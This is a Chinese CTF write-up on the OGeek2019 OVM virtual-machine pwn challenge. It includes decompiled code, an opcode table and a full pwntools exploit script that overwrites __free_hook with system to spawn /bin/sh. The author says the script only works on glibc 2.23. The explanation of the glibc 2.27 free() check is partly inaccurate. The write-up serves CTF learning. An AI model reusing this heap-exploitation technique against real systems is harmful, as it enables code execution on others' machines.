[OGeek2019 Final]OVM——详细入门VM pwn

2023-10-07 18:59

本文主要是介绍[OGeek2019 Final]OVM——详细入门VM pwn,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

是一个入门级别的题目,但是花了非常久的时间整理

刚拿到题目进行反编译的时候是非常懵逼的,因为我确实不知道这是干啥的 查了下资料 原理大概如下 VMpwn 程序通常都是模拟一套虚拟机,对用户输入的opcode进行解析,模拟程序的执行,故VMpwn常见设计如下:

初始化分配模拟寄存器空间(reg) 初始化分配模拟栈空间(stack) 初始化分配模拟数据存储空间(data) 初始化分配模拟机器指令(opcode)空间(text)

也就是说,我们给程序输入一串指令,这个程序会有自己独特的,对代码的理解,并进行像分解成机器码那样,执行,而像寄存器,栈空间,存储空间都是程序自己设计的,而不是系统分配的

首先看看主函数 一开始要求输入var_C,var_Ae的时候实属懵逼,这究竟是要干啥?

昨晚题目,个人认为var_A,var_C没啥用,至少在这一题上没什么用,但是并不意味着它们的值可以乱设置,因为根据代码,它们分别决定了code_size和code在内存的位置(很容易看代码得出)

主函数的逻辑大概就是,首先让你输入var_C(可以近似看成RIP),var_A(可以近似看成RSP),然后让你输入代码,而这个代码接下来就要经过处理,首先这个代码是被放在memory数组里面的,然后经过一个判断,如果低三位没有数据,则最高位就用0xe0来填充

接着进入了一个while循环语句,很明显,这就是拆解代码,类似于整理成机器码 进入fetch()函数:

__int64 fetch()
{int v0; // eaxv0 = reg[15];reg[15] = v0 + 1;return memory[v0];
}

就类似于RIP执行完一条指令自动往后走的作用

接着我们点开核心代码execute()
 

ssize_t __fastcall execute(int code)
{ssize_t opcode; // raxunsigned __int8 op2; // [rsp+18h] [rbp-8h]unsigned __int8 op1; // [rsp+19h] [rbp-7h]unsigned __int8 dest; // [rsp+1Ah] [rbp-6h]int i; // [rsp+1Ch] [rbp-4h]dest = (code & 0xF0000u) >> 16;               // 目的寄存器op1 = (code & 0xF00) >> 8;                    // 操作寄存器1op2 = code & 0xF;                             // 操作寄存器2opcode = HIBYTE(code);if ( HIBYTE(code) == 0x70 ){opcode = reg;reg[dest] = reg[op2] + reg[op1];            // 目的寄存器=操作寄存器1+操作寄存器2return opcode;}if ( HIBYTE(code) > 0x70u ){if ( HIBYTE(code) == 0xB0 ){opcode = reg;reg[dest] = reg[op2] ^ reg[op1];          // 目的寄存器=操作寄存器1 ^ 操作寄存器2return opcode;}if ( HIBYTE(code) > 0xB0u ){if ( HIBYTE(code) == 0xD0 ){opcode = reg;reg[dest] = reg[op1] >> reg[op2];       // 右移位运算return opcode;}if ( HIBYTE(code) > 0xD0u ){if ( HIBYTE(code) == 0xE0 ){running = 0;if ( !reg[13] )                       // 如果_rsp不为空return write(1, "EXIT\n", 5uLL);}else if ( HIBYTE(code) != 0xFF ){return opcode;}running = 0;for ( i = 0; i <= 15; ++i )printf("R%d: %X\n", i, reg[i]);return write(1, "HALT\n", 5uLL);}else if ( HIBYTE(code) == 0xC0 ){opcode = reg;reg[dest] = reg[op1] << reg[op2];       // 左移位运算}}else{switch ( HIBYTE(code) ){case 0x90u:opcode = reg;reg[dest] = reg[op2] & reg[op1];      // 进行与运算break;case 0xA0u:opcode = reg;reg[dest] = reg[op2] | reg[op1];      // 进行或运算break;case 0x80u:opcode = reg;reg[dest] = reg[op1] - reg[op2];      // 减法运算break;}}}else if ( HIBYTE(code) == 0x30 ){opcode = reg;reg[dest] = memory[reg[op2]];}else if ( HIBYTE(code) > 0x30u ){switch ( HIBYTE(code) ){case 0x50u:LODWORD(opcode) = reg[13];reg[13] = opcode + 1;opcode = opcode;stack[opcode] = reg[dest];break;case 0x60u:--reg[13];opcode = reg;reg[dest] = stack[reg[13]];break;case 0x40u:opcode = memory;memory[reg[op2]] = reg[dest];break;}}else if ( HIBYTE(code) == 0x10 ){opcode = reg;reg[dest] = code;}else if ( HIBYTE(code) == 0x20 ){opcode = reg;reg[dest] = code == 0;}return opcode;
}

可以看到我们之前输入的code果然被分解了,每个字节被分别分配给了四个变量,分别可以认为是操作码,目的寄存器,操作寄存器1,操作寄存器2.

接下来就是最烦人的逆向了,经过一系列有耐心的分析后,我们可以得出这样一个结论:

mov reg, src2		 	0x10 : reg[dest] = src2
mov reg, 0				0x20 : reg[dest] = 0
mov mem, reg            0x30 : reg[dest] = memory[reg[src2]]
mov reg, mem            0x40 : memory[reg[src2]] = reg[dest]
push reg                0x50 : stack[result] = reg[dest]
pop reg                 0x60 : reg[dest] = stack[reg[13]]
add                     0x70 : reg[dest] = reg[src2] + reg[src1]
sub                     0x80 : reg[dest] = reg[src1] - reg[src2]
and                     0x90 : reg[dest] = reg[src2] & reg[src1]
or                      0xA0 : reg[dest] = reg[src2] | reg[src1]
^          	        	0xB0 : reg[dest] = reg[src2] ^ reg[src1]
left                    0xC0 : reg[dest] = reg[src1] << reg[src2]
right                   0xD0 : reg[dest] = reg[src1] >> reg[src2]0xFF : (exit or print) if(reg[13] != 0) print oper

经过搜查资料可以知道,这种VM pwn最常见的漏洞点就是数组溢出,往往因为不检查数组下标而容易发生内存泄露!

仔细分析代码都可以发现,这些操作都没有对数组的下标进行检查,这样会导致什么后果呢,举个例子,如果有一个重要数据B存在数组array[10]的内存前面,如果不对数组的下标进行检查的话,那么我就可以构造array[-1]并输出,就可以得到B的内容了

我们接着分析代码:
 

 write(1, "HOW DO YOU FEEL AT OVM?\n", 0x1BuLL);read(0, comment, 140uLL);sendcomment(comment);write(1, "Bye\n", 4uLL);return 0;

在这一段中,程序往comment存储的内容指向的地址输入东西,而comment是bss段上的数据,同样可以因为不检查下标通过输入负数可以被操作到,这样攻击思路就出来了。

利用思路: 1.先任意读把stderr的地址,分高低地址读到两个寄存器中 2.gdb调试出freehook于stderr的固定偏移,我们改存stderr低地址的寄存器+固定偏移就是freehook的低地址 3.任意写把bss段comment存的堆地址改写为free_hook地址-8 4.执行print功能泄露地址,算出libc_base,得出system 5.接着的read会往free_hook地址-8读0x8c,我们只要填’/bin/sh\x00’+p64(system), 最后free时就会执行system(’/bin/sh’)

下面是错误的exp(用ubuntu20.04疯狂攻击,发现只有在16.04行得通,但是思路是对的,exp网上搜得到)
 

from pwn import *
io = process("./pwn")
elf = ELF("./pwn")
libc=ELF('./libc-2.23.so')
context(log_level = 'debug', arch = 'amd64', os = 'linux')
def code_generate(code, dst, op1, op2):res = code<<24res += dst<<16res += op1<<8res += op2return resio.recvuntil(b"PC: ")
io.sendline(b'0')
io.recvuntil(b"SP: ")
io.sendline(b'1')
io.recvuntil(b"CODE SIZE: ")
io.sendline(b'33')
io.recvuntil(b"CODE: ")
gdb.attach(io)
pause()
io.sendline(str(code_generate(0x10, 0, 0, 26)).encode('utf-8')) #reg[0] = 26 (stderr) ,该OVM模拟的是32位机器,stderror地址为$rebase(0x201ff8),而memory地址为$rebase(0x202060),二者之间差距为0x68,注意该ovm模拟32bit机器,所以reg每一个偏移为4,故二者偏移为0x68/4=26
io.sendline(str(code_generate(0x80, 1, 1, 0)).encode('utf-8')) #reg[1] = reg[1] - reg[0]print("---------------------------------------------------------------------------------")
io.sendline(str(code_generate(0x30, 2, 0, 1)).encode('utf-8')) #reg[2] = memory[reg[1]]  #stderror地址的低4bytes
io.sendline(str(code_generate(0x10, 0, 0, 25)).encode('utf-8')) #reg[0] = 25
io.sendline(str(code_generate(0x10, 1, 0, 0)).encode('utf-8')) #reg[1] = 0
io.sendline(str(code_generate(0x80, 1, 1, 0)).encode('utf-8')) #reg[1] = reg[1] - reg[0]
io.sendline(str(code_generate(0x30, 3, 0, 1)).encode('utf-8')) #reg[3] = memory[reg[1]] #stderror地址的高4bytes
io.sendline(str(code_generate(0x10, 4, 0, 1)).encode('utf-8')) #reg[4] = 1
io.sendline(str(code_generate(0x10, 5, 0, 14)).encode('utf-8')) #reg[5] = 14
io.sendline(str(code_generate(0xC0, 4, 4, 5)).encode('utf-8')) #reg[4] = reg[4]<<reg[5]#reg4=0x4000
io.sendline(str(code_generate(0x10, 5, 0, 1)).encode('utf-8')) #reg[5] = 1
io.sendline(str(code_generate(0x10, 6, 0, 12)).encode('utf-8')) #reg[6] = 12
io.sendline(str(code_generate(0xC0, 5, 5, 6)).encode('utf-8')) #reg[5] = reg[5]<<reg[6]  reg[5]=0x1000
io.sendline(str(code_generate(0x70, 4, 4, 5)).encode('utf-8')) #reg[4] = reg[4]+reg[5]#reg4=0x5000io.sendline(str(code_generate(0x10, 5, 0, 3)).encode('utf-8')) #reg[5] = 3
io.sendline(str(code_generate(0x10, 6, 0, 10)).encode('utf-8')) #reg[6] = 10
io.sendline(str(code_generate(0xC0, 5, 5, 6)).encode('utf-8')) #reg[5] = reg[5]<<reg[6]  reg[5]=0xc00
io.sendline(str(code_generate(0x70, 4, 4, 5)).encode('utf-8')) #reg[4] = reg[4]+reg[5]#reg4=0x5c00io.sendline(str(code_generate(0x10, 5, 0, 2)).encode('utf-8')) #reg[5] = 2
io.sendline(str(code_generate(0x10, 6, 0, 5)).encode('utf-8')) #reg[6] = 5
io.sendline(str(code_generate(0xC0, 5, 5, 6)).encode('utf-8')) #reg[5] = reg[5]<<reg[6]  reg[5]=0x40
io.sendline(str(code_generate(0x70, 4, 4, 5)).encode('utf-8')) #reg[4] = reg[4]+reg[5]#reg4=0x5c40io.sendline(str(code_generate(0x10, 6, 0, 11)).encode('utf-8')) #reg[6] = 11
io.sendline(str(code_generate(0x80, 4, 4, 6)).encode('utf-8')) #reg[4] = reg[4] - reg[6]io.sendline(str(code_generate(0x70, 2, 4, 2)).encode('utf-8')) #reg[2] = reg[4]+reg[2]#reg2为stderror的低4bytes,stderror距离freehook的偏移为0x5c48,这里使用0x10a0,求得freehook-0x8的位置io.sendline(str(code_generate(0x10, 4, 0, 8)).encode('utf-8')) #reg[4] = 8
io.sendline(str(code_generate(0x10, 5, 0, 0)).encode('utf-8')) #reg[5] = 0
io.sendline(str(code_generate(0x80, 5, 5, 4)).encode('utf-8')) #reg[5] = reg[5] - reg[4]
io.sendline(str(code_generate(0x40, 2, 0, 5)).encode('utf-8')) #memory[reg[5]]=reg[2] #改comment指向free_hook
io.sendline(str(code_generate(0x10, 4, 0, 7)).encode('utf-8')) #reg[4] = 7
io.sendline(str(code_generate(0x10, 5, 0, 0)).encode('utf-8')) #reg[5] = 0
io.sendline(str(code_generate(0x80, 5, 5, 4)).encode('utf-8')) #reg[5] = reg[5] - reg[4]
io.sendline(str(code_generate(0x40, 3, 0, 5)).encode('utf-8')) #memory[reg[5]]=reg[3]
io.sendline(str(code_generate(0xE0, 0, 1, 1)).encode('utf-8')) #exitio.recvuntil(b"R2: ")
low = int(io.recvuntil(b'\n').strip(), 16) + 8
io.recvuntil(b"R3: ")
high = int(io.recvuntil(b'\n').strip(), 16)
free_hook = (high<<32)+lowlibc_address = free_hook - 0x2234a8
system = 0x53d60+libc_address+11
print(hex(system))
io.recvuntil(b"HOW DO YOU FEEL AT OVM?\n")io.sendline(b'/bin/sh\x00'+p64(system))io.interactive()

可恶啊,一直打不通
 发现报错,真是奇怪,明明和网上wp都差不多,于是我打开glibc源码对比2.23和2.27,发现2.27多了一个这样的检查:

  /* Little security check which won't hurt performance: theallocator never wrapps around at the end of the address space.Therefore we can exclude some size values which might appearhere by accident or by "design" from some intruder.  */if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)|| __builtin_expect (misaligned_chunk (p), 0))malloc_printerr ("free(): invalid pointer");

这段代码是一个内存分配器的安全性检查部分。它主要包含两个条件判断语句,用于验证给定的指针p和大小size是否有效。

第一个条件判断语句检查指针p是否超出了地址空间的范围。如果p大于等于0且小于等于可用的地址空间大小减去size,则认为p是有效的。否则,会调用malloc_printerr("free(): invalid pointer")打印错误信息。

第二个条件判断语句检查给定的大小size是否小于最小分配块的大小(MINSIZE)或者不满足对齐要求。如果满足这些条件,则认为size是无效的。否则,不会发生任何操作。

这两个条件判断语句的目的是确保在进行内存释放操作之前,所提供的指针和大小都是有效的。这样可以避免潜在的安全漏洞或错误。

而2.23则没有这个检查,哎学到了,不是malloc出来的地址它不要,难绷

学到了

这篇关于[OGeek2019 Final]OVM——详细入门VM pwn的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/159793

相关文章

将Mybatis升级为Mybatis-Plus的详细过程

《将Mybatis升级为Mybatis-Plus的详细过程》本文详细介绍了在若依管理系统(v3.8.8)中将MyBatis升级为MyBatis-Plus的过程,旨在提升开发效率,通过本文,开发者可实现... 目录说明流程增加依赖修改配置文件注释掉MyBATisConfig里面的Bean代码生成使用IDEA生

Linux系统配置NAT网络模式的详细步骤(附图文)

《Linux系统配置NAT网络模式的详细步骤(附图文)》本文详细指导如何在VMware环境下配置NAT网络模式,包括设置主机和虚拟机的IP地址、网关,以及针对Linux和Windows系统的具体步骤,... 目录一、配置NAT网络模式二、设置虚拟机交换机网关2.1 打开虚拟机2.2 管理员授权2.3 设置子

Linux系统中卸载与安装JDK的详细教程

《Linux系统中卸载与安装JDK的详细教程》本文详细介绍了如何在Linux系统中通过Xshell和Xftp工具连接与传输文件,然后进行JDK的安装与卸载,安装步骤包括连接Linux、传输JDK安装包... 目录1、卸载1.1 linux删除自带的JDK1.2 Linux上卸载自己安装的JDK2、安装2.1

Spring Boot + MyBatis Plus 高效开发实战从入门到进阶优化(推荐)

《SpringBoot+MyBatisPlus高效开发实战从入门到进阶优化(推荐)》本文将详细介绍SpringBoot+MyBatisPlus的完整开发流程,并深入剖析分页查询、批量操作、动... 目录Spring Boot + MyBATis Plus 高效开发实战:从入门到进阶优化1. MyBatis

Java使用Curator进行ZooKeeper操作的详细教程

《Java使用Curator进行ZooKeeper操作的详细教程》ApacheCurator是一个基于ZooKeeper的Java客户端库,它极大地简化了使用ZooKeeper的开发工作,在分布式系统... 目录1、简述2、核心功能2.1 CuratorFramework2.2 Recipes3、示例实践3

通过Docker Compose部署MySQL的详细教程

《通过DockerCompose部署MySQL的详细教程》DockerCompose作为Docker官方的容器编排工具,为MySQL数据库部署带来了显著优势,下面小编就来为大家详细介绍一... 目录一、docker Compose 部署 mysql 的优势二、环境准备与基础配置2.1 项目目录结构2.2 基

Linux系统中配置静态IP地址的详细步骤

《Linux系统中配置静态IP地址的详细步骤》本文详细介绍了在Linux系统中配置静态IP地址的五个步骤,包括打开终端、编辑网络配置文件、配置IP地址、保存并重启网络服务,这对于系统管理员和新手都极具... 目录步骤一:打开终端步骤二:编辑网络配置文件步骤三:配置静态IP地址步骤四:保存并关闭文件步骤五:重

Centos环境下Tomcat虚拟主机配置详细教程

《Centos环境下Tomcat虚拟主机配置详细教程》这篇文章主要讲的是在CentOS系统上,如何一步步配置Tomcat的虚拟主机,内容很简单,从目录准备到配置文件修改,再到重启和测试,手把手带你搞定... 目录1. 准备虚拟主机的目录和内容创建目录添加测试文件2. 修改 Tomcat 的 server.X

C++快速排序超详细讲解

《C++快速排序超详细讲解》快速排序是一种高效的排序算法,通过分治法将数组划分为两部分,递归排序,直到整个数组有序,通过代码解析和示例,详细解释了快速排序的工作原理和实现过程,需要的朋友可以参考下... 目录一、快速排序原理二、快速排序标准代码三、代码解析四、使用while循环的快速排序1.代码代码1.由快

Spring Boot拦截器Interceptor与过滤器Filter详细教程(示例详解)

《SpringBoot拦截器Interceptor与过滤器Filter详细教程(示例详解)》本文详细介绍了SpringBoot中的拦截器(Interceptor)和过滤器(Filter),包括它们的... 目录Spring Boot拦截器(Interceptor)与过滤器(Filter)详细教程1. 概述1